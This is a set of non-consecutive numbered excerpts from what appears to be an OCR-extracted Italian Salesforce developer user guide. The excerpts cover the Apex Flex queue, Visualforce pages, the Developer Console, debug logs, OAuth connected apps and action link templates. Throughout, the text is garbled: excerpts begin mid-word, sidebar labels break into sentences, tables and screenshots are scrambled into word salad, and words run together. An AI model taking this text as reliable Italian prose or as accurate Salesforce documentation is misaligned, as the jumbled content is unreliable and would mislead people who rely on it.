381. neamente fino a cinque processi in attesa o attivi per ogni organizzazione Quando un processo viene spostato fuori Disponibile nelle versioni i Enterprise Edition dall area di attesa Flex per l elaborazione il suo stato cambia da In attesa a Accodato processi Performance Edition accodati vengono eseguiti quando il sistema pronto per l elaborazione di nuovi processi Unlimited Edition possibile riordinare i processi dell area di attesa Flex Apex per assegnare le priorit ai processi Ad Developer Edition e esempio possibile spostare un processo batch nella prima posizione dell area di attesa in modo Database com Edition che venga elaborato per primo quando le risorse diventano disponibili In caso contrario i processi vengono elaborati nell ordine primo a entrare primo a uscire cio nell ordine in cui sono stati inviati Guida dell utente Componenti Apex Visualforce e Lightning 65 Ottimizzazione di Salesforce con il codice Monitoraggio e riordino dell area di attesa Flex Apex La pagina Area di attesa Flex Apex elenca tutti i processi batch con stato In attesa possibile visualizzare informazioni sul processo quali ID processo data di invio e classe Apex Per impostazione predefinita i processi sono numerati secondo l ordine nel quale sono stati inviati iniziando con la posizione 1 che corrisponde al processo inviato per primo possibile cambiare la posizione di un processo facendo clic su Riordina
382. nelle impostazioni personali Gestione delle pagine Visualforce Dopo avere creato le pagine Visualforce possibile personalizzarle modificarle ed eliminarle Da Imposta immettere Pagine Visualforce nella casella Ricerca veloce quindi selezionare Pagine Visualforce per visualizzare la pagina di elenco Pagine che mostra tutte le pagine Visualforce definite per l organizzazione Dalla pagina di elenco Pagine possibile e Fare clic su Nuovo per definire una nuova pagina Visualforce e Fare clic sul nome di una pagina per visualizzare informazioni dettagliate sulla pagina inclusa la rispettiva etichetta e il markup Visualforce e Fare clic su Modifica accanto al nome della pagina per modificarne il nome l etichetta o il markup Visualforce Nota Un icona indica che un pacchetto gestito installato contiene una pagina Visualforce Non possibile modificare o eliminare una pagina Visualforce in un pacchetto gestito e Fare clic su Canc per rimuovere una pagina e Fare clic su Protezione per gestire la protezione relativa alla pagina e Fare clic sul pulsante Anteprima 21 per aprire l articolo in una nuova finestra O Nota Il prefisso spazio dei nomi viene aggiunto a classi e trigger Apex componenti e pagine Visualforce modelli di marca cartelle S Control risorse statiche link Web e tipi di rapporto personalizzati se sono inclusi in un pacchetto gestito Tuttavia se non si dispone di autorizzazioni per le applicazioni per
383. new Checkpoints Test results amp File updates i 10 86 425 Checking for new Checkpoints Test results amp File updates 115 424 Checking for new Checkpoints Test results amp File updates 0 78 423 Checking for new Checkpoints Test results amp File updates 10 0 103 La Console sviluppatore suddivisa nelle sezioni seguenti 1 Barra dei menu 2 Area di lavoro con una scheda per ogni elemento aperto 3 Pannello di registri test e problemi Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 4 Barra dei menu La barra dei menu include i seguenti menu a discesa e Il menu File consente di aprire e creare risorse e Il menu Edit Modifica consente di cercare e modificare i propri file di codice Il menu Debug consente di accedere a una serie di strumenti e impostazioni e Il menu Test consente di accedere agli strumenti di test e Il menu Workspace Area di lavoro consente di scegliere e gestire le aree di lavoro e Il menu Help Guida include link alla guida in linea una pagina di riferimento dei tasti di scelta rapida la pagina delle preferenze della Console sviluppatore e una serie di tour guidati Area di lavoro Un area di lavoro un insieme di risorse rappresentate da schede nel riquadro principale della Console sviluppatore La visualizzazione dettagliata o l editor visualizzati in ogni scheda sono determinati dal tipo di risorsa aperta nel
384. nga del valore della variabile e indirizzo della variabile Ottimizzazione di Salesforce con il codice Nome dell evento VARIABL VARIABLE SCOPE END VF_APEX CALL VF DESERIALIZE VIEWSTAT E_SCOPE BEGIN E BEGIN VF DESERIALIZE VIEWSTAT VF_EVALUATE FORMULA B VF_EVALUATE FORMULA END VF_PAGE_MESSAGE EGIN VF SERIALIZE VIEWSI TATE BEGIN VF _ SERIALIZE VIEWS CATE END WE_ACT WE_ACT WE_ACT WE_APPROVAL WE_APPROVAL REMOVE LION LION TASK LIONS _END WE_APPROVAL SUBMIT WF_ASSIGN WF_CRITERIA_ BEGIN Guida dell utente Registri debug 291 Campi o informazioni registrate con l evento Categoria Livello registrata registrato umero di riga nome variabile tipo un valore che Apex Code FINEST indica se possibile fare riferimento alla variabile e un valore che indica se la variabile statica essuno Apex Code FINEST ome dell elemento nome del metodo e tipo di Apex Code INFO e risultato superiori D stato visualizzazione Visualforce INFO e superiori essuno Visualforce INFO e superiori D stato visualizzazione e formula Visualforce FINER e superiori essuno Visualforce FINER e superiori Testo del messaggio Apex Code INFO e superiori D stato v
385. ngono informazioni pi dettagliate in merito al processo di distribuzione e agli strumenti disponibili per sviluppare e distribuire le modifiche e Panoramica sulla distribuzione e Scelta degli strumenti per lo sviluppo e la distribuzione di modifiche INDICE ANALITICO A Accesso applicazione approvazione della richiesta 246 negazione dell accesso 247 richieste 245 Accesso remoto ambito 230 autenticazione utenti 201 gestione delle applicazioni 187 OAuth 230 ambito 230 panoramica 167 revoca accesso 231 sviluppo per 201 terminologia 200 uso dell endpoint Userinfo 239 utilizzo degli URL identit 234 utilizzo del token di accesso 233 utilizzo dell endpoint configurazione autenticazione 243 utilizzo di Endpoint OpenID Connect Discovery 242 utilizzo di token ID 233 Ambito operativo Campo 138 Apex area di attesa dei processi 63 64 chiamata 66 classi 56 codice 49 codice sorgente 16 creazione di una classe 50 creazione di una classe da un WSDL 62 definizione di un trigger 51 dipendenze 59 eccezioni 54 editor 15 16 email 107 email eccezioni 54 errori nei pacchetti 55 esecuzione del debug 5 270 esecuzione di test 59 296 filtri del registro debug 280 gestione dei trigger 57 impostazione accesso classe 93 94 impostazione dell accesso classe 95 D Apex continua impostazione della protezione delle classi 92 impostazioni di versione 58 livelli del registro debug 280 modifica 5 motivi di condivisione 95 ordi
386. ni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition YANG O NPZZAVA O N UTENTE Per creare modificare e definire le impostazioni di versione per le pagine Visualforce e Personalizza applicazione Nella casella di testo Nome immettere il testo che dovr apparire nell URL come nome della pagina Il nome pu contenere solo caratteri di sottolineatura e alfanumerici e deve essere univoco nell organizzazione Deve iniziare con una lettera non deve includere spazi terminare con un carattere di sottolineatura n contenere due caratteri di sottolineatura consecutivi Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 69 4 Nellacasella ditesto Etichetta immettere il testo che dovr essere usato per identificare la pagina negli strumenti Imposta ad esempio per definire schede personalizzate o per ignorare pulsanti standard 5 Nella casella di testo Nome digitare il testo da utilizzare per identificare la pagina nell API Il nome pu contenere solo caratteri di sottolineatura e alfanumerici e deve essere univoco nell organizzazione Deve iniziare con una lettera non deve includere spazi terminare con un carattere di sottolineatura n contenere due caratteri di sottolineatura consecutivi 6 Nella casella ditesto Descrizione immettere una descrizione facoltativa d
387. ni E possibile aggiungere tipi e record di metadati personalizzati ai pacchetti utilizzando l interfaccia Enterprise Edition utente Force com Da Imposta immettere Pacchetti nella casella Ricerca veloce quindi Performance Edition selezionare Pacchetti fare clic sul nome del pacchetto e selezionare Aggiungi Unlimited Edition Quindi per aggiungere i tipi di metadati personalizzati Developer Edition e Hanca Gi S Database com Edition 1 Selezionare il tipo di componente Tipo di metadati personalizzato 2 Selezionare il tipo di metadati personalizzato da aggiungere al pacchetto 3 Fare clic su Aggiungi al pacchetto Per aggiungere i record di metadati personalizzati 1 Selezionare l etichetta del tipo di metadati personalizzato dai tipi di componenti disponibili ad esempio ReusablePicklist__ mdt oppure se il tipo fa parte di un pacchetto che si sta estendendo ReusablePicklist__mdt picklist1234 2 Selezionare i record da aggiungere 3 Fare clic su Aggiungi al pacchetto Se si aggiunge un record al pacchetto viene aggiunto il tipo corrispondente Se si aggiunge un record a una serie di modifiche il tipo corrispondente viene incluso nell elenco dei componenti dipendenti Per informazioni sulle serie di modifiche e sulla distribuzione del pacchetto vedere Development Lifecycle Guide O Nota non possibile disinstallare un pacchetto con un tipo di metadati personalizzato se sono stati creati i propri record di quel
388. ni Enterprise Edition Performance Edition Unlimited Edition Developer Edition o un Sandbox Utilizza un architettura guidata dagli eventi per un disaccoppiamento pi semplice tra i componenti Qualsiasi componente pu abbonarsi a un evento applicazione o a un evento componente che in grado di visualizzare Sviluppo pi rapido Consente ai team di lavorare pi velocemente con componenti subito pronti per l uso che si integrano facilmente con i dispositivi desktop e mobili La creazione di un app con componenti semplifica la progettazione parallela migliorando l efficienza complessiva dello sviluppo componenti sono incapsulati e i loro elementi interni rimangono privati mentre la forma pubblica visibile ai fruitori del componente Questa spiccata separazione garantisce agli autori del componente la libert di modificare i dettagli dell implementazione interna e isola i fruitori del componente da queste modifiche Compatibilit in grado di riconoscere il dispositivo e nei diversi browser Le app utilizzano una struttura reattiva e forniscono un esperienza utente gradevole Il framework Componente Lightning supporta la pi recente tecnologia browser quale HTMLS5 CSS3 e gli eventi tocco Ottimizzazione di Salesforce con il codice Utilizzare la Console sviluppatore per creare i componenti Lightning VEDERE ANCHE Utilizzo della Console sviluppatore Aggiunta di componenti Lightning a Salesforce1 https devel
389. ni Selezionare il nome di un applicazione connessa nell elenco e fare clic su Modifica Per salvare le modifiche fare clic su Salva Dopo aver creato l applicazione connessa possibile tornare alla pagina dei dettagli per specificare gli intervalli IP consentiti Gli intervalli IP funzionano con le applicazioni connesse abilitate per OAuth e non con quelle abilitate per SAML e specificano gli indirizzi IP validi per l applicazione connessa Per impostare l intervallo IP consentito attenersi alla seguente procedura 1 Dalmposta immettere Applicazioni nella casella Ricerca veloce quindi selezionare Applicazioni 2 Selezionare il nome di un applicazione connessa nell elenco 3 Nella sezione Intervallo IP affidabile per il flusso del server Web OAuth fare clic su Nuovo 4 Immettere un indirizzo IP valido nel campo Indirizzo IP iniziale e un indirizzo IP superiore nel campo Indirizzo IP finale possibile immettere pi intervalli non consecutivi facendo clic su Nuovo prima di immettere ogni intervallo possibile consentire a utenti specifici di accedere all applicazione connessa dall esterno dell Intervallo IP affidabile per le applicazioni connesse abilitate per OAuth Ad esempio per consentire l accesso ad alcuni utenti mentre sono in viaggio impostare l applicazione connessa su Riduci restrizioni IP con il secondo fattore Quando un utente tenta di utilizzare l applicazione connessa dal di fuori di questo intervallo all utente viene ri
390. ni OAuth e Gestisci applicazioni connesse e Fare clic su Revoca per revocare l accesso all applicazione Dopo la revoca l applicazione non pu pi utilizzare quel particolare token di autorizzazione per accedere ai dati Salesforce dell utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 247 O Importante necessario revocare tutti i token di accesso di una particolare applicazione per impedirle di accedere ai dati Salesforce dell utente VEDERE ANCHE Richiesta di accesso da parte di un applicazione negata Richiesta di accesso da parte di un applicazione Richiesta di accesso da parte di un applicazione negata L applicazione esterna che si sta utilizzando richiede l accesso ai dati Salesforce dell utente e l accesso stato negato necessario uscire da Salesforce possibile ritornare all applicazione di origine VEDERE ANCHE Richiesta di accesso da parte di un applicazione approvata Richiesta di accesso da parte di un applicazione Tipi di metadati personalizzati Tipi di metadati personalizzati possibile creare i propri framework sviluppatori dichiarativi per team interni partner e clienti Invece di creare le app partendo dai dati possibile creare app che sono definite e determinate dai propri tipi di metadati metadati sono informazioni che descrivono la configurazione dell organizzazione di ogni cliente metadati personalizzati sono met
391. ni eliminati non vengono pi visualizzati negli elementi feed ai quali sono stati associati Aggiunta di modelli di link azioni ai pacchetti possibile aggiungere i modelli di link azioni ai pacchetti per distribuirli ad altre organizzazioni Salesforce VEDERE ANCHE https developer salesforce com docs atlas en us chatterapi meta chatterapi features_action_links htm https developer salesforce com docs atlas en us apexcode meta apexcode connectapi_features_action_links htm Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 144 Progettazione di modelli di link azioni Prima di creare un modello valutare quali valori si desidera impostare nel modello e quali impostare con le variabili di binding quando si istanziano i gruppi di link azioni dal modello e Panoramica sui modelli di link azioni e Considerazioni sulla progettazione di modelli e Impostazione dell ora di scadenza del gruppo dei link azioni e Definizione delle variabili di binding e Impostazione degli utenti che possono visualizzare il link azioni e Utilizzo delle variabili di contesto Panoramica sui modelli di link azioni Di seguito viene presentato un modello di gruppo dei link azioni in Imposta Action Link Group Template n Save Save amp New Cancel Edit e Caman Information Required Information Action Link Group 079D00000004CEX Template ID Name Doc Example API Name Doc_E
392. nipulation Language specifici ad esempio prima che i record di oggetti vengano inseriti nel database o dopo che i record sono stati eliminati trigger vengono memorizzati come metadati in Salesforce Un elenco di tutti i trigger dell organizzazione disponibile nella pagina Trigger Apex in Imposta trigger sono anche associati e memorizzati con oggetti specifici e vengono elencati nelle impostazioni di gestione degli oggetti per ogni oggetto Per disporre di ulteriori funzionalit di sviluppo utilizzare la Console sviluppatore O Nota Il prefisso spazio dei nomi viene aggiunto a classi e trigger Apex componenti e pagine Visualforce modelli di marca cartelle S Control risorse statiche link Web e tipi di rapporto personalizzati se sono inclusi in un pacchetto gestito Tuttavia se non si dispone di autorizzazioni per le applicazioni personalizzate il campo del prefisso spazio dei nomi non viene visualizzato per i modelli di marca le cartelle e i tipi di rapporto personalizzati Fare clic su Nuovo per creare un trigger Apex O Nota possibile creare trigger solo dall oggetto associato e non dalla pagina dei trigger Apex Una volta creato un trigger Apex e Fare clic su Modifica accanto al nome del trigger per modificarne il contenuto in un semplice editor e Fare clic su Canc accanto al nome del trigger per eliminarlo dall organizzazione D70 Disponibile nelle versioni Salesforce Classic e Lightning Experience Disp
393. nire l Email referente che Salesforce dovr utilizzare per contattare il creatore dell applicazione o il suo team di assistenza Questo indirizzo non verr comunicato agli amministratori che installano l applicazione Immettere il Telefono referente che potr essere utilizzato da Salesforce in caso di necessit Questo numero non verr comunicato agli amministratori che installano l applicazione Immettere un URL immagine logo per visualizzare il proprio logo nell elenco delle applicazioni connesse e nella pagina di consenso che l utente vede durante l autenticazione L URL deve utilizzare HTTPS L immagine del logo non pu superare i 125 pixel in altezza o i 200 pixel in larghezza e deve essere in formato GIF JPG o PNG con una dimensione massima del file di 100 KB Il logo predefinito una nuvola Sono disponibili diversi modi per aggiungere un logo personalizzato e possibile caricare l immagine del logo facendo clic su Carica immagine logo Selezionare dal file system locale un immagine che soddisfa i requisiti di dimensione per il logo Una volta completato correttamente il caricamento nelcampo URL immagine logo viene visualizzato l URL al logo In caso contrario verificare che il logo soddisfi i requisiti di dimensione e inoltre possibile selezionare un logo dagli esempi forniti facendo clic su Scegliere uno dei nostri loghi di esempio loghi disponibili includono quelli per le applicazioni Salesforce le applicazioni di terze p
394. nizione dell applicazione connessa ha un valore valido l utente viene reindirizzato a quell URL e Seilvalore oauth callback definito nel token di richiesta un URL valido l utente viene reindirizzato a quell URL Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 204 5 Il consumatore viene informato che sono disponibili iltoken di accesso e il segreto del token di accesso tramite la ricezione del token di verifica da Salesforce o del codice di convalida dall utente finale Richiesta del token di accesso Una volta effettuata l autenticazione dell utente il consumatore pu scambiare un token di richiesta con un token di accesso Le fasi descritte di seguito contengono istruzioni pi dettagliate sullo scambio di token per gli sviluppatori che utilizzano un applicazione connessa per richiedere dei dati Salesforce 1 Il consumatore effettua una richiesta HTTPS GET o POST a https login salesforce com _nc_external system security oauth AccessTokenHandler con i parametri richiesti nella query o nei dati inviati oau oau oau oau oau oau oau oau th_to un ve un ve 2 Salesforce conva th_consumer key h_signature method th_signature h_timestamp Ken n Nonce rifier ida i seguenti elementi Il segreto consumatore La chiave consumatore La firma rsion facoltativo deve essere 1 0 se inclusa Che il token di richiesta non
395. nk azioni Scegliere un valore dall elenco a discesa Visibilit utente per stabilire chi pu visualizzare il link azioni dopo che stato associato a un elemento feed Tra le opzioni disponibili vi sono Pu vederlo solo l utente personalizzato e Possono vederlo tutti tranne l utente personalizzato Scegliere uno di questi valori per consentire o impedire la visualizzazione del link azioni soltanto a uno specifico utente Quindi immettere un valore nel campo Alias utente personalizzatoo Questo valore la chiave di istanzia il gruppo dei link azioni utilizzare la chiave e specificare il valore come per una qua Questo modello utilizza ilvalore Alias utente personalizzato Invitato una variabile di binding Nel codice che siasi variabile di binding Action Link Template Edit Save Save amp New Cancel Information Required Information Action Link Video Chat Position jo Group Template Action Type l UI X Label l Accept x Key Action URL f nttps www example com W ideo_chat Label HTTP GET X User Only custom user can see M Method Visibility HTTP Custom Invitee Request User Body Alias HTTP Headers Default Link in Group Confirmation Required Save Save amp New Cancel Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 150 Durante l istanziazione del gruppo dei link azioni impostare il valore come per qualsiasi variabile di binding
396. no elaborati altri batch numero di tentativi effettuati da Salesforce per salvare i risultati di un operazione tentativi ripetuti sono dovuti a un problema ad esempio un conflitto di blocchi La data e l ora in cui stato inviato il processo Lo stato di elaborazione attuale del processo valori validi sono Aperto ll processo stato creato ed possibile aggiungervi dei batch e Chiuso Non possibile aggiungere nuovi batch al processo batch associati al processo possono essere elaborati una volta chiuso il processo processi chiusi non si possono n modificare n salvare e Interrotto ll processo stato interrotto e Non riuscito llprocesso non riuscito batch del processo elaborati correttamente non possono essere ritirati nome dell utente che ha inviato il processo tempo totale rimanente per completare il processo numero di millisecondi necessari per l elaborazione del processo la somma dei tempi di elaborazione totali di utti i batch del processo La pagina dei dettagli del processo include un elenco correlato di tutti i batch del processo L elenco correlato fornisce i link Visualizza richiesta e Visualizza risposta per ogni batch Se il batch un file CSV i link restituiscono la richiesta o la risposta in formato CSV Se il batch un file XML i link restituiscono la richiesta o la risposta in formato XML Questi link sono disponibili per i batch creati nell API version
397. non apre una finestra con un grafico a torta dell utilizzo Per informazioni vedere About the View State Tab nella Visualforce Developer s Guide Abilitazione della scheda View State Stato visualizzazione Per abilitare la scheda View State Stato visualizzazione 1 Dalle impostazioni personali immettere Dettagli utente avanzati nellacasella Ricerca veloce quindi selezionare Dettagli utente avanzati Se non si ottiene alcun risultato immettere Informazioni personali nella casella Ricerca veloce quindi selezionare Informazioni personali 2 Fare clic su Edit Modifica 3 Selezionare la casella di controllo Modalit sviluppo se non selezionata 4 Selezionare la casella di controllo Mostra stato visualizzazione in modalit sviluppo 5 Fare clic su Save Salva O Nota poich lo stato della visualizzazione collegato ai dati del modulo la scheda View State Stato visualizzazione appare solo se la pagina contiene un tag lt apex form Inoltre la scheda View State Stato visualizzazione viene visualizzata solo sulle pagine che utilizzano controller personalizzati o estensioni controller Ottimizzazione di Salesforce con il codice Registri debug Utilizzo dei registri debug AOON TZA VA O NU NU Per utilizzare la Console sviluppatore Per eseguire Apex Code anonimo Per utilizzare la ricerca nel codice ed eseguire SOQL o SOSL nella scheda della query Per salvare le modifiche alle classi e ai trig
398. notifica e Destinatario notifica nome utente della persona a cui viene inviata la notifica per email e Soglia percentuale del limite di utilizzo al raggiungimento della quale viene attivato l invio di una notifica per email e Intervallo di notifica ore frequenza con cui vengono inviate le notifiche Ad esempio se l intervallo di notifica di quattro ore la notifica viene inviata solo se l ultima notifica stata inviata almeno quattro ore prima Quindi in un periodo di 24 ore vengono inviate al massimo sei notifiche e Creato da utente che ha creato la richiesta di notifica e la data e l ora di creazione e Modificato da ultimo utente che ha modificato la notifica In questa pagina possibile anche creare una nuova notifica in base ai valori della notifica visualizzata Fare clic su Clona per creare una nuova notifica inserendovi automaticamente i valori correnti Prima del salvataggio possibile modificare tali valori VEDERE ANCHE Creazione e modifica di notifiche di utilizzo API Notifiche di utilizzo API Creazione e modifica di notifiche di utilizzo API Nella pagina di modifica della misurazione dell utilizzo API possibile inserire i valori richiesti per la notifica di raggiungimento del limite di traffico Da Imposta digitare Notifiche utilizzo API nella casella Ricerca veloce quindi selezionare Notifiche utilizzo API e Utente Salesforce che ricever le notifiche e Percentuale di soglia Percentuale de
399. nstallare Scarica pacchetti AppExchange La pagina dei dettagli dell applicazione connessa mostra informazioni sull applicazione connessa ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni quali la versione e gli ambiti Da questa pagina possibile modificare e verificare l utilizzo dell applicazione connessa nonch associare profili e autorizzazioni alla stessa e Fare clic su Modifica per apportare modifiche alla configurazione dell applicazione nella pagina di modifica dell applicazione connessa e Fare clic su Scarica metadati per ottenere gli URL di accesso SAML del provider di servizi e gli endpoint specifici della propria comunit o la configurazione del dominio personalizzato Questo pulsante appare solo se l organizzazione abilitata come provider di identit e solo con le applicazioni connesse che utilizzano SAML e Anzich scaricare i metadati possibile accedere ai metadati tramite un URL in Endpoint Discovery metadati Il fornitore di servizi pu utilizzare tale URL per configurare il Single Sign On per la connessione a Salesforce e Fare clic su Visualizza utilizzo OAuth per visualizzare il rapporto di utilizzo rela
400. nte Integrazione di app con Salesforce 243 O Nota PeriSandbox login salesforce com viene sostituito da test salesforce com L URL deve sempre essere HTTPS Risposta dell endpoint OpenID Connect Discovery La richiesta URL restituisce le informazioni solo in formato JSON Di seguito riportato un esempio di risposta in formato JSON issuer https login salesforce com authorization endpoint https login salesforce com services oauth2 authorize token endpoint https login salesforce com services oauth2 token revocation endpoint https login salesforce com services oauth2 revoke userinfo endpoint https login salesforce com services oauth2 userinfo jwks_uri https login salesforce com id keys scopes _ supported id api web full chatter api visualforce refresh token openid profile email address phone offline access custom permissions response types supported code token token id token subject _ types supported public id token signing alg values supported RS256 display values supported page popup touch token endpoint auth methods supported client secret post private key jwt Endpoint configurazione autenticazione L endpoint configurazione autenticazione una pagina statica utilizzabile per chiedere informazioni DAON sulle impostazioni SAML per Single Sign On e Provider di auten
401. nte Integrazione di app con Salesforce 244 FooterText UsernamePasswordEnabled Orgid O00DDOO Url https acme force com partners LoginPage LoginPageUrl https acme force com partners CommunitiesLogin LogoUrl https acme force com partners img l0g0190 png BackgroundColor B1BACI SelfRegistrationEnabled true FooterText acme com UsernamePasswordEnabled false SamlProviders name ADFS SsoUrl https adfs my salesforce com so 00DB00 name SF Identity SsoUrl https sfid my salesforce com so 00DB00 l AuthProviders name LinkedIn IconUrl https www linkedin com logos img logo png SsoUrl https login salesforce com services auth sso 00DB00000 LinkedIn name Facebook IconUrl https www facebook com logos img logo png SsoUrl https login salesforce com services auth ss0o 00DB00000 Facebook Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 245 Concessione o rifiuto delle richieste di accesso Richiesta di accesso da parte di un applicazione L applicazione esterna che si sta utilizzando richiede l accesso ai dati Salesforce dell utente L applicazione esterna gi stata integrata in Salesforce dall amministratore Per concedere a questa applicazione l a
402. nte ed endpoint dell API a cui pu accedere Questo endpoint consente di accedere a informazioni che riguardano solo l utente corrente e non gli altri utenti della medesima organizzazione Il formato dell URL https login salesforce com services oauth2 userinfo O Nota PeriSandbox login salesforce com viene sostituito da test salesforce com L URL deve sempre essere HTTPS Parametri dell endpoint UserInfo Con il token di accesso e l endpoint UserInfo si possono utilizzare i seguenti parametri Il token di accesso si pu utilizzare nell intestazione di una richiesta di autorizzazione oppure in una richiesta con il parametro oauth_token Problema richiesta Guida dell utente Integrazione di app con Salesforce 239 Token di accesso mancante Token di accesso non valido Utenti in un organizzazione diversa ID organizzazione utente non valido o errato Utente disattivato o organizzazione inattiva L utente non dispone dell accesso corretto all organizzazione o alle informazioni Richiesta a un endpoint non valido di un sito Nessuna risposta dal server DAON Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni YANG O NPZZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Ottimizzazione di Salesforce con il codice Parametro Token di accesso Formato Versione PrettyPrint Callback Ri
403. nte di definire pi precisamente ci a cui l applicazione client pu accedere in un organizzazione Salesforce Per i parametri validi vedere Valori del parametro di ambito a pagina 230 redirect uri URla cui reindirizzare l utente dopo l approvazione Questo deve corrispondere esattamente a uno dei valori del campo URL di richiamata nella definizione dell applicazione connessa in caso contrario l approvazione non riesce Questo valore deve essere codificato nell URL state qualsiasi stato il consumatore desidera venga rispecchiato dopo l approvazione durante la richiamata Questo parametro facoltativo Questo valore deve essere codificato nell URL immediate determina se sia necessario richiedere all utente l accesso e l approvazione Questo parametro facoltativo Se specificato il valore deve essere vero o falso Il valore predefinito falso Tenere presente quanto segue Seilvalore impostato su vero e l utente attualmente connesso e ha precedentemente approvato il client _id Salesforce salta la fase di approvazione Guida dell utente Integrazione di app con Salesforce 218 Ottimizzazione di Salesforce con il codice Seilvalore impostato su vero e l utente non attualmente connesso o non ha precedentemente approvato il client Salesforce viene terminato immediatamente con il codice di errore immediate unsuccessful O Nota Questa opzione non disponibile per le comunit code challenge specifica il v
404. nti possono accedere all applicazione Possono impostare l esposizione dell applicazione connessa come applicazione area di disegno per una pi stretta integrazione con l interfaccia utente di Salesforce Gli amministratori possono anche disinstallare l applicazione connessa e installare una versione pi recente quando uno sviluppatore aggiorna l applicazione remota e informa gli amministratori che disponibile una nuova versione Nota nelle organizzazioni che utilizzano la versione Group Edition non possibile gestire l accesso dei singoli utenti utilizzando i profili Tuttavia possibile impostare policy durante la modifica delle impostazioni di un applicazione connessa OAuth in un organizzazione Group Edition per controllare l accesso all applicazione connessa per tutti gli utenti Inoltre i pacchetti di applicazioni connesse gestiti tramite Salesforce come quelli per le applicazioni scaricabili di Salesforce1 non possono essere disinstallati Verranno automaticamente aggiornati al successivo aggiornamento della sessione utente Le applicazioni connesse possono essere aggiunte soltanto ai pacchetti gestiti Le applicazioni connesse non sono supportate per i pacchetti non gestiti VEDERE ANCHE Creazione di un applicazione connessa Modifica inclusione in un pacchetto o eliminazione di un applicazione connessa https na1 salesforce com help pdfs en salesforce_identity_implementation_guide pdf Ottimizzazione di Salesforce con il
405. nti quando si utilizzano le impostazioni di versione dei pacchetti e Sesi salva una pagina o un componente personalizzato Visualforce che fa riferimento a un pacchetto gestito senza specificarne una versione per impostazione predefinita la pagina o il componente viene associato all ultima versione installata del pacchetto gestito e Non possibile rimuovere un impostazione di versione di una pagina o di un componente Visualforce per un pacchetto gestito se la pagina o il componente vi fa riferimento Utilizzare Mostra dipendenze per trovare i riferimenti al pacchetto gestito Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 76 Impostazioni di sicurezza del browser e Visualforce Alcune pagine Visualforce vengono eseguite dai server force com Se i siti affidabili impostati EDIZIONI nel browser includono salesforce com necessario aggiungere all elenco anche Tabores GoM Disponibile nelle versioni A seconda del browser in uso e delle sue impostazioni in alcune pagine potrebbe venire visualizzato Salesforce Classic e un messaggio di errore simile a Lightning Experience Le impostazioni del browser relative alla privacy hanno impedito Disponibile nelle versioni la visualizzazione di alcuni contenuti in questa pagina Per Contact Manager Edition visualizzare tale contenuto necessario modificare le Group Edition Professional impostazioni del browser relative alla privacy per
406. nto del DML in una richiesta Guida dell utente Esecuzione del debug tramite la Console sviluppatore 271 Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 272 What Method Method Method Method Method Show Limits Timeline Executed Units Name Sum Avg Max Min size 0 40 0 08 0 11 0 06 debug 0 72 0 09 0 13 0 08 execute 36 92 36 92 36 92 36 92 _uifcom 36 98 36 98 36 98 36 98 add 0 49 0 12 0 15 0 09 Methods Queries Workfiow Callouts DML Validations Count Triggers Save Order Heap Query Type Sumrows Avgrows Maxrows Min row 0 n a n a n a nja n a 4 0 n a nfa n a n a n a 2534 n a nja nja n a nja i 0 n a nja n a nja n a o nja nja nja nja n a 8 Pages 4 Fare clic sulla scheda Limits Limiti per verificare i limiti applicabili e quanto la richiesta si avvicina a ognuno di questi limiti La colonna Total Available Totale disponibile mostra i limiti dell amministratore consentiti nella propria organizzazione per tipo di operazione La colonna Request Total Totale richieste mostra il numero totale di richieste eseguite La colonna Used so far Usate fino ad ora mostra il numero di richieste eseguite nel momento dell esecuzione selezionato nella traccia dello stack o nel registro esecuzioni 5 Fare clic sulla scheda Timeline Tempistica per visualizzare una rappresentazione visiva delle unit di
407. nvio di una notifica push dalla pagina Invia notifica di prova consultare la seguente tabella per suggerimenti su come risolvere il problema Messaggio stato superato il limite giornaliero di frequenza delle notifiche push per questa applicazione connessa Il certificato non accettato dal servizio di notifica push Apple Il certificato stato revocato Certificato scaduto Certificato non ancora valido Certificato o password non valida Destinatario o payload non valido Il payload supera le dimensioni massime consentite Impossibile caricare le impostazioni delle notifiche push Il campo Destinatario contiene un token dispositivo non valido Soluzione suggerita Poich il limite giornaliero non negoziabile non sono disponibili soluzioni Sostituire il certificato con un tipo valido Fornire un certificato valido Rinnovare il certificato Riprovare in seguito Sostituire il certificato con un tipo valido Controllare l eventuale presenza di errori nelle informazioni immesse Ridurre le dimensioni del payload Verificare che le impostazioni siano presenti sull applicazione connessa Fornire un token dispositivo valido Ottimizzazione di Salesforce con il codice Messaggio Lunghezza token dispositivo non valida Errore durante l invio della notifica Verificare che il certificato sia per l ambiente Apple corretto Il servizio di notifica push Apple non disponibile Impossibile connetter
408. nze l organizzazione potr elaborare un massimo di 10 000 messaggi email al giorno e Gli indirizzi di servizi di email creati nel proprio Sandbox non possono essere copiati nell organizzazione di produzione e Per ogni servizio di email possibile indicare a Salesforce di inviare i messaggi email di errore a un indirizzo specifico invece che all indirizzo email del mittente e servizi di email rifiutano i messaggi e informano il mittente se il messaggio nel suo insieme corpo del messaggio in formato testo HTML e allegati supera i 10 MB circa il limite varia a seconda della lingua e del set di caratteri VEDERE ANCHE Definizione degli indirizzi di servizi di email Definizione di servizi di email Utilizzo dell oggetto InboundEmail Ottimizzazione di Salesforce con il codice Definizione degli indirizzi di servizi di email Guida dell utente Componenti Apex Visualforce e Lightning 108 1 Dalmposta immettere Servizi di email nellacasella Ricerca veloce quindi DONI selezionare Servizi di email 2 Scegliere il servizio di email per il quale si desidera definire un indirizzo Disponibile nelle versioni odi gt 3 n m Salesforce Classic e 3 Fare clic su Nuovo indirizzo email oppure fare clic su Modifica per modificare la 